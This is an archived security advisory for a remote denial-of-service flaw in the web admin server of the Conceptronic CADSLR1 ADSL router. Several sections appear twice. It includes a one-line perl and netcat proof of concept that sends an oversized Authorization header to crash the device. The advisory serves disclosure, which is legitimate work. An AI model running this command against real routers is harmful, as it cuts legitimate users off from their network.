Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
BID:10769
Info
Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
| Bugtraq ID: | 10769 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 21 2004 12:00AM |
| Updated: | Jul 21 2004 12:00AM |
| Credit: | Jordi Corrales <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
Conceptronic CADSLR1 Router |
| Not Vulnerable: | |
Discussion
Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
The Conseptronic CADSLR1 router is reported to contain a denial of service vulnerability.
This vulnerability reportedly presents itself in the embedded HTTP server used for web-based administration of the router. When presented a large malformed request, the device will reportedly crash and reboot.
This vulnerability could be exploited by a remote attacker to deny service to legitimate users.
Due to code reuse across products, other Conseptronic devices may also be vulnerable to similar issues.
The Conseptronic CADSLR1 router is reported to contain a denial of service vulnerability.
This vulnerability reportedly presents itself in the embedded HTTP server used for web-based administration of the router. When presented a large malformed request, the device will reportedly crash and reboot.
This vulnerability could be exploited by a remote attacker to deny service to legitimate users.
Due to code reuse across products, other Conseptronic devices may also be vulnerable to similar issues.
Exploit / POC
Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
No exploit is required. A proof-of-concept perl command was provided:
perl -e 'print "GET / HTTP/1.1\r\nHost: www.example.com\r\nAuthorization: Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn www.example.com 80
No exploit is required. A proof-of-concept perl command was provided:
perl -e 'print "GET / HTTP/1.1\r\nHost: www.example.com\r\nAuthorization: Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn www.example.com 80
Solution / Fix
Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Conceptronic CADSLR1 ADSL Router Denial Of Service Vulnerability
References:
References:
- Conceptronic Homepage (Conceptronic)
- Denegación de Servicio en el router CADSLR1 de Conceptronic (Jordi Corrales